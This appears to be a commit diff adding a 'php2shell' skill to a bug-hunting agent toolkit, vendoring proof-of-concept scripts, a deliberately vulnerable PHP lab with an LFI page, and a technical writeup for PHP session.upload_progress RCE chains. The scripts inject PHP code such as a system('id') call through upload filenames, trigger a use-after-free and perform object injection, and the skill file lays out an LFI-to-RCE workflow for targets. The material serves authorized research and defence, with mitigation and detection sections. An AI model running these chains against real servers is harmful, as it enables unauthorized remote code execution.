Compare commits

..
Author SHA1 Message Date
BaaRai 750f4eb091 feat(skill): php2shell - gated session.upload_progress LFI-to-RCE skill with vendored PoCs
Implements #109. Skills ship the chain-1 workflow (session file injection
through upload_progress filename + app LFI -> RCE, CVE-2026-109618/109619)
with hard gates: authorized targets only, program zero-day policy checked
before any live attempt (patches landed 2026-10-21 for 8.2-8.5), passive
detection before exploitation, lab-first practice via the vendored docker
lab, chains 2/3 (UAF, serializer mismatch) marked lab-only, one-shot
verification with a marker. Upstream PoCs vendored under scripts/poc/php2shell
with attribution and the MIT notice (upstream declares MIT in its README).
2026-10-21 14:52:40 +02:00
9 changed files with 739 additions and 32 deletions
-32
View File
@@ -21,38 +21,6 @@ RUN apt-get update && apt-get install -y --no-install-recommends \
&& curl -fsSL https://deb.nodesource.com/setup_20.x | bash - \
&& apt-get install -y --no-install-recommends nodejs \
&& rm -rf /var/lib/apt/lists/*
# Web-recon toolbox (drost-community take 1, #100): pinned release binaries installed
# into /usr/local/bin so hunt workers can run them directly through their Bash tool.
# Versions pinned per tool; upgrade deliberately. sqlmap is a python checkout (no
# release binaries) symlinked into PATH.
ARG NUCLEI_VERSION=v3.11.1
ARG HTTPX_VERSION=v1.12.0
ARG SUBFINDER_VERSION=v2.17.0
ARG KATANA_VERSION=v1.8.0
ARG FFUF_VERSION=v2.3.0
ARG DALFOX_VERSION=v3.2.4
RUN set -eux; \
base="https://github.com"; \
pd_fetch() { repo="$1"; ver="$2"; name="$3"; nov="${ver#v}"; \
curl -fsSL "$base/$repo/releases/download/$ver/${name}_${nov}_linux_${TARGETARCH}.zip" -o /tmp/t.zip \
&& unzip -o -q /tmp/t.zip -d /tmp/td \
&& find /tmp/td -type f -name "$name" -exec install -m 0755 {} /usr/local/bin/ \; \
&& rm -rf /tmp/t.zip /tmp/td; }; \
case "$TARGETARCH" in amd64) FFUF_ARCH=amd64; DALFOX_ARCH=x86_64;; arm64) FFUF_ARCH=arm64; DALFOX_ARCH=aarch64;; esac; \
pd_fetch projectdiscovery/nuclei "$NUCLEI_VERSION" nuclei; \
pd_fetch projectdiscovery/httpx "$HTTPX_VERSION" httpx; \
pd_fetch projectdiscovery/subfinder "$SUBFINDER_VERSION" subfinder; \
pd_fetch projectdiscovery/katana "$KATANA_VERSION" katana; \
curl -fsSL "$base/ffuf/ffuf/releases/download/$FFUF_VERSION/ffuf_${FFUF_VERSION#v}_linux_${FFUF_ARCH}.tar.gz" \
| tar -xz -C /usr/local/bin ffuf; \
curl -fsSL "$base/hahwul/dalfox/releases/download/$DALFOX_VERSION/dalfox-${DALFOX_VERSION}-linux-${DALFOX_ARCH}-musl.tar.gz" \
| tar -xz -C /usr/local/bin dalfox; \
chmod +x /usr/local/bin/ffuf /usr/local/bin/dalfox; \
git clone --depth 1 https://github.com/sqlmapproject/sqlmap /opt/sqlmap; \
ln -s /opt/sqlmap/sqlmap.py /usr/local/bin/sqlmap; \
nuclei -version >/dev/null; httpx -version; subfinder -version; katana -version; \
ffuf -V >/dev/null; dalfox version >/dev/null; sqlmap --version >/dev/null
# Preinstall Playwright MCP and CLI (globally) so no npx network download is needed at runtime.
# @playwright/mcp: browser MCP runs directly via `npx @playwright/mcp` (installed globally, no -y/@latest needed).
# @playwright/cli: provides playwright-cli, verified with --help right after install.
+20
View File
@@ -0,0 +1,20 @@
MIT License (vendored from https://github.com/ikow/php2shell-poc — README states
"License: MIT"; no LICENSE file ships upstream. (c) ikow and contributors.)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+81
View File
@@ -0,0 +1,81 @@
# php2shell — CVE-2026-109618 / CVE-2026-109619 Research
Independent security research on the critical PHP session.upload_progress vulnerabilities (CVSS v4.0 9.2).
**Author:** Qi Deng ([@ikow](https://github.com/ikow))
**Date:** 2026-10-21
**Full writeup:** [qideng.substack.com](https://qideng.substack.com/)
## Overview
Two critical pre-auth RCE vulnerabilities in PHP core's `session.upload_progress` handler, affecting PHP 5.4.0 through 8.5.x. This repository contains verification POCs and lab setup for authorized security testing.
### Verified Attack Chains
| Chain | Type | Conditions | Verified |
|-------|------|-----------|----------|
| Session File Injection + LFI | Logic bug | `upload_progress=On` (default) + app LFI | ✅ RCE |
| var_destroy UAF → Handler Overwrite | Memory corruption | `unserialize()` + `/proc/self/mem` | ✅ ASAN + RCE |
| Handler Mismatch → `__destruct` | Deserialization | Cross-dir handler mismatch + POP gadget | ✅ RCE |
### Key Findings
1. **Session fixation** via POST body bypasses `session.use_only_cookies` ([PR #22113](https://github.com/php/php-src/pull/22113))
2. **Unvalidated filename** in upload_progress stored raw in session files
3. **`var_destroy` `__destruct` reentry UAF** — ASAN-confirmed heap-use-after-free
4. **`PS(serializer)` not reset in RSHUTDOWN** — cross-request serializer leak in FPM
5. **`__destruct` fires on decode FAILURE** — object injection via handler mismatch + trailing data
## Repository Structure
```
poc/
verify_session_injection.py — Verify filename injection into session files
verify_uaf_asan.php — Trigger ASAN heap-use-after-free (var_destroy)
verify_handler_mismatch.py — Verify handler mismatch → object deserialization
lab/
docker-compose.yml — PHP 8.2.34 FPM + nginx lab environment
Dockerfile — Vulnerable PHP build
php.ini — Lab configuration
setup.sh — One-click lab setup
docs/
ANALYSIS.md — Full technical analysis
```
## Quick Start
```bash
# Start the lab
cd lab && ./setup.sh
# Verify session injection
python3 poc/verify_session_injection.py --target http://127.0.0.1:18080
# Verify UAF (requires ASAN build)
docker exec php-asan-lab php poc/verify_uaf_asan.php
# Verify handler mismatch
python3 poc/verify_handler_mismatch.py --target http://127.0.0.1:18080
```
## Affected Versions
- PHP 5.4.0 — 8.5.11 (all versions with `session.upload_progress`)
- Fixed in: 8.2.35, 8.3.36, 8.4.27, 8.5.12 (scheduled 2026-10-21)
- PHP 5.x, 7.x, 8.0, 8.1: **end-of-life, no official fix**
## Mitigation
```ini
; Immediate mitigation (does NOT fix all attack paths)
session.upload_progress.enabled = Off
session.use_only_cookies = On
```
## Disclaimer
This research is for authorized security testing and educational purposes only. Do not use against systems you do not own or have explicit authorization to test.
## License
MIT
+197
View File
@@ -0,0 +1,197 @@
# php2shell — Full Technical Analysis
## CVE-2026-109618 / CVE-2026-109619
**Author:** Qi Deng **Date:** 2026-10-21
---
## 1. Vulnerability Summary
Two critical vulnerabilities in PHP's `session.upload_progress` handler enable pre-authentication remote code execution on PHP 5.4.0 through 8.5.x.
| Bug | Root Cause | Impact |
|-----|-----------|--------|
| Session Fixation | `MULTIPART_EVENT_FORMDATA` accepts PHPSESSID from POST body ignoring `use_only_cookies` | Attacker controls session ID and file path |
| Filename Injection | `add_assoc_string_ex(*data->filename)` stores raw filename in session without validation | PHP code / serialized objects injected into session files |
| Serializer Leak | `PS(serializer)` not reset in `php_rshutdown_session_globals()` | Cross-request handler mismatch in FPM |
| var_destroy UAF | `i_zval_ptr_dtor` at line 310 fires `__destruct` without `BG(serialize_lock)` | Heap-use-after-free → arbitrary code execution |
## 2. Attack Chains
### Chain A: Session Injection + LFI → RCE
```
Conditions: upload_progress.enabled=On (default) + application has LFI
Complexity: Low | Reliability: 100%
1. POST multipart with PHP code in filename
2. rfc1867 handler stores filename as-is in session file
3. include(session_file) → execute injected PHP → RCE
```
**Verified:** `exploit_session_inject.py` → `uid=33(www-data)` on PHP 8.2.34.
### Chain B: var_destroy UAF → RCE
```
Conditions: ability to call unserialize() with controlled data
Complexity: Medium | Reliability: ~60% (heap-dependent)
1. unserialize() payload with 2000+ entries → overflow VAR_ENTRIES_MAX (1018)
2. Duplicate key moves object to dtor list
3. var_destroy Phase 1: efree extension chunks
4. Phase 2: i_zval_ptr_dtor → __destruct (BG(serialize_lock)==0)
5. Inner unserialize('R:1500;') reuses outer var_hash → reads freed memory
6. Spray reclaims freed chunk → controlled pointer → handler overwrite → RCE
```
**Verified:** ASAN heap-use-after-free at `var_unserializer.c:851`. RCE via `var_dump` handler overwrite on x86-64.
### Chain C: Handler Mismatch → `__destruct` → RCE
```
Conditions: target has directories with different session.serialize_handler
Complexity: Medium | Reliability: High
1. Upload to Dir A (php_serialize) — filename contains |O:CLASS:N:{PAYLOAD}
2. Upload to Dir B (php handler) with same SID
3. rfc1867 reads php_serialize session with php decoder
4. php decoder finds | in filename → splits → deserializes injected object
5. Trailing data → decode FAILURE
6. __destruct fires during PHP_VAR_UNSERIALIZE_DESTROY cleanup
7. POP gadget chain → RCE
```
**Key insight:** `__destruct` fires on BOTH success and failure paths of `var_destroy`. The decode FAILURE does NOT prevent exploitation.
**Verified:** `Evil::__destruct(cmd="id")` → `uid=33(www-data)` via pure rfc1867 handler.
## 3. Root Cause Analysis
### 3.1 Session Fixation (ext/session/session.c)
```c
// MULTIPART_EVENT_FORMDATA handler — no use_only_cookies check
if (name_len == progress->sname_len &&
memcmp(data->name, PS(session_name), name_len) == 0) {
zval_ptr_dtor(&progress->sid);
ZVAL_STRINGL(&progress->sid, (*data->value), value_len);
// ← Accepts PHPSESSID from POST body regardless of use_only_cookies!
}
```
Fix: [PR #22113](https://github.com/php/php-src/pull/22113) adds `!PS(use_only_cookies) &&` check.
### 3.2 Unvalidated Filename
```c
// FILE_START handler stores raw filename
add_assoc_string_ex(&progress->current_file, "name",
sizeof("name") - 1, *data->filename);
// ← No sanitization, no encoding, no length limit
```
Filename can contain arbitrary bytes including PHP code and pipe `|` characters.
### 3.3 var_destroy Reentry UAF (ext/standard/var_unserializer.re)
```c
void var_destroy(php_unserialize_data_t *var_hashx) {
// Phase 1: FREE extension chunks
while (var_hash) {
efree_size(var_hash, sizeof(var_entries)); // ← line 245
var_hash = next;
}
// Phase 2: walk dtor chain
while (var_dtor_hash) {
// ...
i_zval_ptr_dtor(zv); // ← line 310, NO serialize_lock!
// __destruct fires → inner unserialize() → R:N reads freed chunk
}
}
```
### 3.4 Serializer Leak (ext/session/session.c)
```c
static void php_rshutdown_session_globals(void) {
// Resets: PS(id), PS(session_vars), PS(http_session_vars), PS(mod_data)
// Does NOT reset: PS(serializer) ← persists across FPM requests!
}
```
### 3.5 `__destruct` on Decode Failure
```c
PS_SERIALIZER_DECODE_FUNC(php) {
while (p < endptr) {
// ... find |, deserialize value ...
if (php_var_unserialize(...)) {
php_set_session_var(name, &rv, &var_hash); // object stored
} else {
retval = FAILURE; goto break_outer_loop;
}
}
break_outer_loop:
PHP_VAR_UNSERIALIZE_DESTROY(var_hash); // ← __destruct fires HERE
return retval; // FAILURE
}
```
Even though the decoder returns FAILURE and `session_start()` calls `php_session_cancel_decode()` to destroy `$_SESSION`, the object's `__destruct` has ALREADY fired during `var_hash` cleanup.
## 4. Version Matrix
| Version | upload_progress | Vulnerable | Official Fix |
|---------|----------------|------------|-------------|
| < 5.4 | No | No | N/A |
| 5.4 - 5.6 | Yes | Yes | EOL, no fix |
| 7.0 - 7.4 | Yes | Yes | EOL, no fix |
| 8.0 - 8.1 | Yes | Yes | EOL, no fix |
| 8.2.x | Yes | Yes | → 8.2.35 |
| 8.3.x | Yes | Yes | → 8.3.36 |
| 8.4.x | Yes | Yes | → 8.4.27 |
| 8.5.x | Yes | Yes | → 8.5.12 |
Vulnerable code identical across ALL versions from PHP 5.4.0 (2012) to present.
## 5. Detection
```bash
# Check PHP version
php -r 'echo PHP_VERSION, PHP_EOL;'
# Check upload_progress setting
php -r 'echo ini_get("session.upload_progress.enabled"), PHP_EOL;'
# Check for handler mismatch across directories
find /var/www -name ".user.ini" -exec grep -l "serialize_handler" {} \;
# Monitor for exploitation attempts
grep -r "PHP_SESSION_UPLOAD_PROGRESS" /var/log/nginx/access.log
```
## 6. Mitigation
```ini
; Primary mitigation
session.upload_progress.enabled = Off
; Additional hardening
session.use_only_cookies = On
session.use_strict_mode = On
; Ensure consistent handler across directories
session.serialize_handler = php_serialize
```
**Warning:** Disabling `upload_progress` does NOT fix the var_destroy UAF or the serializer leak. Apply the official PHP patch.
## 7. References
- [PHP Security Advisory](https://www.php.net/archive/2026.php) (pending)
- [PR #22113 — Session fixation fix](https://github.com/php/php-src/pull/22113)
- [Calif.IO — Serializable UAF](https://calif.io/research/php-uaf)
- [dinosn — var_destroy UAF](https://github.com/dinosn/php-8.5.5-var_destroy-uaf)
- [PHP Bug #71101 — Handler mismatch](https://bugs.php.net/bug.php?id=71101)
- [cnpanda — Handler mismatch exploitation](https://www.cnpanda.net/en/sec/580.html)
+116
View File
@@ -0,0 +1,116 @@
#!/bin/bash
set -e
echo "Setting up PHP 8.2.34 vulnerable lab environment..."
cd "$(dirname "$0")"
# Create webroot
mkdir -p webroot/app webroot/api webroot/reader
cat > webroot/index.php << 'EOF'
<?php
session_start();
echo "PHP " . PHP_VERSION . "\n";
echo "SAPI " . php_sapi_name() . "\n";
echo "upload_progress " . ini_get('session.upload_progress.enabled') . "\n";
echo "OK\n";
EOF
cat > webroot/nosession.php << 'EOF'
<?php
echo "PHP " . PHP_VERSION . "\nno session_start\n";
EOF
# Directory with php_serialize handler
echo "session.serialize_handler = php_serialize" > webroot/app/.user.ini
cp webroot/nosession.php webroot/app/upload.php
# Directory with php handler
echo "session.serialize_handler = php" > webroot/api/.user.ini
cp webroot/nosession.php webroot/api/endpoint.php
# LFI simulation (for Chain 1 verification)
cat > webroot/vuln.php << 'EOF'
<?php
$page = $_GET['page'] ?? 'home';
include($page);
EOF
# PHP configuration
cat > php.ini << 'EOF'
[Session]
session.save_handler = files
session.save_path = /tmp/sessions
session.use_strict_mode = 0
session.use_cookies = 1
session.use_only_cookies = 0
session.upload_progress.enabled = On
session.upload_progress.cleanup = Off
session.upload_progress.prefix = upload_progress_
session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.freq = 1%
session.upload_progress.min_freq = 0
[PHP]
display_errors = On
error_reporting = E_ALL
file_uploads = On
post_max_size = 128M
upload_max_filesize = 128M
EOF
# Nginx config
cat > nginx.conf << 'EOF'
server {
listen 80;
root /var/www/html;
index index.php;
client_max_body_size 128m;
location / { try_files $uri $uri/ /index.php?$query_string; }
location ~ \.php$ {
fastcgi_pass php:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
fastcgi_request_buffering off;
}
}
EOF
# Docker Compose
cat > docker-compose.yml << 'EOF'
services:
php:
image: php:8.2-fpm
container_name: php2shell-lab
ports: ["9000:9000"]
volumes:
- ./webroot:/var/www/html
- ./php.ini:/usr/local/etc/php/php.ini
security_opt: [seccomp:unconfined]
privileged: true
command: >
bash -c "mkdir -p /tmp/sessions && chmod 1777 /tmp/sessions && php-fpm"
nginx:
image: nginx:alpine
container_name: php2shell-nginx
ports: ["18080:80"]
volumes:
- ./webroot:/var/www/html
- ./nginx.conf:/etc/nginx/conf.d/default.conf
depends_on: [php]
EOF
echo "Starting containers..."
docker compose up -d --build
echo ""
echo "Lab ready!"
echo " HTTP: http://127.0.0.1:18080"
echo " FCGI: 127.0.0.1:9000"
echo ""
echo "Run POCs:"
echo " python3 ../poc/verify_session_injection.py"
echo " python3 ../poc/verify_handler_mismatch.py"
@@ -0,0 +1,109 @@
#!/usr/bin/env python3
"""
CVE-2026-109618/109619 — Verify session handler mismatch → object injection.
Demonstrates:
1. Session written in php_serialize format (via directory with .user.ini)
2. Pipe | in filename preserved in php_serialize format
3. php handler reads the session → splits at | → deserializes injected object
4. __destruct fires even when decode returns FAILURE (trailing data)
Setup required:
- /app/ directory with .user.ini: session.serialize_handler = php_serialize
- /api/ directory with .user.ini: session.serialize_handler = php
- Both share the same session.save_path
Usage:
python3 verify_handler_mismatch.py --target http://127.0.0.1:18080
For authorized security testing only.
"""
import argparse
import socket
import sys
from urllib.parse import urlparse
def upload(host, port, path, sid, filename):
boundary = "MISMATCH"
body = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="f"; filename="{filename}"\r\n\r\nZ\r\n'
f"--{boundary}--\r\n"
).encode("latin-1")
req = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
f"Content-Length: {len(body)}\r\n"
f"Connection: close\r\n\r\n"
).encode() + body
s = socket.create_connection((host, port), timeout=15)
s.sendall(req)
s.settimeout(10)
resp = b""
while True:
try:
d = s.recv(65536)
if not d:
break
resp += d
except socket.timeout:
break
s.close()
return resp
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", default="http://127.0.0.1:18080")
ap.add_argument("--write-path", default="/app/upload.php",
help="Endpoint with php_serialize handler")
ap.add_argument("--read-path", default="/api/endpoint.php",
help="Endpoint with php handler")
ap.add_argument("--sid", default="mismatchverify0000000000000")
args = ap.parse_args()
u = urlparse(args.target)
host = u.hostname
port = u.port or 80
print("[*] CVE-2026-109618/109619 — Handler Mismatch Verification")
print(f"[*] Target: {args.target}")
print()
# Step 1: Write session via php_serialize endpoint
# Filename contains |O:8:"stdClass":0:{} (escaped quotes)
gadget = 'x|O:8:\\"stdClass\\":0:{}'
print(f"[1] Writing session via {args.write_path} (php_serialize)")
print(f" Filename payload: {gadget}")
upload(host, port, args.write_path, args.sid, gadget)
print(" → Session file written in php_serialize format")
# Step 2: Trigger via php handler endpoint
print(f"\n[2] Triggering mismatch via {args.read_path} (php handler)")
print(" php handler scans for | → splits → deserializes O:8:\"stdClass\":0:{}")
resp = upload(host, port, args.read_path, args.sid, "dummy")
status = resp.split(b"\r\n", 1)[0].decode("latin1", "replace") if resp else "NO RESPONSE"
print(f" Response: {status}")
print()
print("[*] Verification indicators:")
print(" - 'Failed to decode session object' warning = mismatch triggered")
print(" - 'Session object destruction failed' = __destruct fired on injected object")
print(" - If target has a class with exploitable __destruct → RCE")
print()
print("[*] Check target for:")
print(f" - Session file: /tmp/sessions/sess_{args.sid}")
print(" - Evidence of __destruct execution (file writes, network connections, etc.)")
if __name__ == "__main__":
main()
@@ -0,0 +1,105 @@
#!/usr/bin/env python3
"""
CVE-2026-109618/109619 — Verify session file injection via upload_progress filename.
Demonstrates:
1. Session fixation via POST body PHPSESSID (bypasses use_only_cookies)
2. Unvalidated filename stored raw in session file (can contain PHP code)
3. Session file created with attacker-controlled content
Usage:
python3 verify_session_injection.py --target http://127.0.0.1:18080
For authorized security testing only.
"""
import argparse
import socket
import sys
from urllib.parse import urlparse
def send_upload(host, port, path, sid, filename):
boundary = "VERIFY"
body = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="f"; filename="{filename}"\r\n\r\nZ\r\n'
f"--{boundary}--\r\n"
).encode("latin-1")
req = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
f"Content-Length: {len(body)}\r\n"
f"Cookie: PHPSESSID={sid}\r\n"
f"Connection: close\r\n\r\n"
).encode() + body
s = socket.create_connection((host, port), timeout=15)
s.sendall(req)
s.settimeout(10)
resp = b""
while True:
try:
d = s.recv(65536)
if not d:
break
resp += d
except socket.timeout:
break
s.close()
return resp
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", default="http://127.0.0.1:18080")
ap.add_argument("--path", default="/index.php")
ap.add_argument("--sid", default="verifysession00000000000000")
args = ap.parse_args()
u = urlparse(args.target)
host = u.hostname
port = u.port or 80
print("[*] CVE-2026-109618/109619 — Session Injection Verification")
print(f"[*] Target: {args.target}")
print()
# Test 1: Normal filename
print("[1] Testing normal filename...")
send_upload(host, port, args.path, args.sid + "a", "normal.txt")
print(" → Session file should contain: s:10:\"normal.txt\"")
# Test 2: PHP code in filename
php_payload = "<?php system('id');echo 'RCE';?>"
print(f"[2] Testing PHP code in filename: {php_payload}")
send_upload(host, port, args.path, args.sid + "b", php_payload)
print(f" → Session file should contain PHP code as raw string")
# Test 3: Pipe character in filename (for handler mismatch)
pipe_payload = "x|O:8:\"stdClass\":0:{}"
print(f"[3] Testing pipe + serialized object in filename")
# Need \" escaping for Content-Disposition
escaped = pipe_payload.replace('"', '\\"')
send_upload(host, port, args.path, args.sid + "c", escaped)
print(f" → Session file should contain |O:8: in the filename field")
print()
print("[*] Verification complete. Check session files on the target:")
print(f" cat /tmp/sessions/sess_{args.sid}a")
print(f" cat /tmp/sessions/sess_{args.sid}b")
print(f" cat /tmp/sessions/sess_{args.sid}c")
print()
print("[*] Key indicators:")
print(" - Session fixation: file created with attacker-controlled SID")
print(" - Filename injection: raw PHP code / serialized objects in session data")
print(" - No authentication required")
if __name__ == "__main__":
main()
@@ -0,0 +1,48 @@
<?php
/**
* CVE-2026-109618/109619 — var_destroy __destruct reentry UAF verification.
*
* Triggers ASAN heap-use-after-free in php_var_unserialize (var_unserializer.c:851).
*
* Run with: USE_ZEND_ALLOC=0 ASAN_OPTIONS="detect_leaks=0" php verify_uaf_asan.php
*
* Root cause: var_destroy() frees back-reference extension chunks (line 245),
* then i_zval_ptr_dtor at line 310 fires __destruct WITHOUT BG(serialize_lock).
* Inner unserialize('R:1500;') reuses the outer var_hash (freed entries) → UAF read.
*
* For authorized security testing only.
*/
class TriggerUAF {
public function __destruct() {
fwrite(STDERR, "[*] __destruct fired (serialize_lock=0, BG(unserialize).level>0)\n");
fwrite(STDERR, "[*] Attempting R:1500 backref into freed var_hash extension chunk...\n");
$result = @unserialize('R:1500;');
$type = gettype($result);
fwrite(STDERR, "[*] R:1500 resolved to: $type\n");
if ($result !== false) {
fwrite(STDERR, "[+] UAF CONFIRMED: R:1500 read from freed memory!\n");
}
}
}
// Build payload: 2000+ entries to overflow VAR_ENTRIES_MAX (1018)
// Then duplicate key to move TriggerUAF to dtor list
$N = 2000;
$payload = 'a:' . ($N + 2) . ':{';
for ($i = 0; $i < $N; $i++) {
$payload .= "i:$i;i:$i;";
}
$payload .= 'i:99999;O:10:"TriggerUAF":0:{}';
$payload .= 'i:99999;i:42;';
$payload .= '}';
fwrite(STDERR, "[*] Payload: " . strlen($payload) . " bytes, $N entries + UAF trigger\n");
fwrite(STDERR, "[*] Firing unserialize()...\n");
@unserialize($payload);
fwrite(STDERR, "[*] Done. If ASAN reported heap-use-after-free, the UAF is confirmed.\n");
fwrite(STDERR, "[*] Expected ASAN trace:\n");
fwrite(STDERR, " READ at php_var_unserialize (var_unserializer.c:851)\n");
fwrite(STDERR, " freed at var_destroy (var_unserializer.c:245)\n");
+63
View File
@@ -0,0 +1,63 @@
---
name: php2shell
description: "Invoke this skill when a task holds an LFI/file-inclusion finding on a PHP target (or needs to assess one) and the target may run PHP 5.4-8.5.11 with default session.upload_progress settings: turns a read-only LFI into verified RCE via the session-file-injection chain (CVE-2026-109618/109619), lab-first and gated by program policy. Also covers passive detection of the vulnerable configuration."
---
# php2shell: session.upload_progress LFI-to-RCE (CVE-2026-109618/109619)
Under an **authorized** engagement only. This skill upgrades an existing
LFI/unsafe-include finding on a PHP target into RCE, or classifies the target
as not affected, using the vendored PoCs under `scripts/poc/php2shell/`
(upstream: ikow/php2shell-poc, MIT; see the LICENSE there).
## Hard gates (read before touching any target)
1. **Authorization**: the target must be inside the task's authorized scope.
2. **Program policy first**: many programs exclude or do not pay for
recently-patched third-party/framework zero-days within ~14 days of the
patch release. PHP patched these in 8.2.35/8.3.36/8.4.27/8.5.12
(2026-10-21). CHECK the program's policy on component zero-days BEFORE
testing a live target, and reflect the policy in how the finding is claimed
(often "reportable, not payable" or payable only after the clause lapses).
3. **Detection before exploitation**: fingerprint passively first (response
headers, error pages, X-Powered-By). Only targets on PHP 5.4.0-8.5.11
(any build with session.upload_progress enabled, the default) are
candidates.
4. **Lab first**: run chain 1 against the local lab (`lab/setup.sh` builds a
vulnerable PHP 8.2 FPM+nginx environment) until the mechanism is
understood, then one-shot the authorized target.
5. **Chains 2 and 3 (var_destroy UAF, serializer mismatch) are LAB-ONLY**:
never fire memory-corruption or serializer-confusion primitives at a
remote target. Detection of their preconditions is fine.
6. **One-shot verification** on the target: prove execution once (a marker
echo), capture evidence, stop. No persistence, no further exploration
through the shell.
## Chain 1 workflow (session file injection + LFI -> RCE)
1. Start with the task's LFI finding: note the include path parameter and its
constraints (prefix/suffix, truncation, wrapper filters).
2. Confirm the session path is reachable through that LFI: with
`session.upload_progress.enabled=On` (default), an in-flight multipart POST
with an attacker-named file field writes a session file under the session
save path containing the raw filename.
3. Inject PHP into the uploaded **filename** (not the file content):
`verify_session_injection.py` demonstrates the full mechanics (session
fixation via POST body PHPSESSID, raw filename storage, inclusion).
4. Race the session file's lifetime: include it through the LFI while the
upload is still in flight (or keep the upload connection open).
5. Verify RCE with a single marker command; record the request sequence as
evidence.
## Detection without an LFI
The chains need an app-level file-inclusion primitive; without one the
configuration is hardening-relevant, not exploitable. Report posture only.
## Vendored artifacts
- `poc/verify_session_injection.py` - chain 1 end-to-end against a lab URL
- `poc/verify_handler_mismatch.py` - chain 3 (lab only)
- `poc/verify_uaf_asan.php` - chain 2 under an ASAN PHP build (lab only)
- `lab/setup.sh` - builds the vulnerable docker lab locally
- `docs/ANALYSIS.md`, `README.upstream.md` - the upstream technical writeup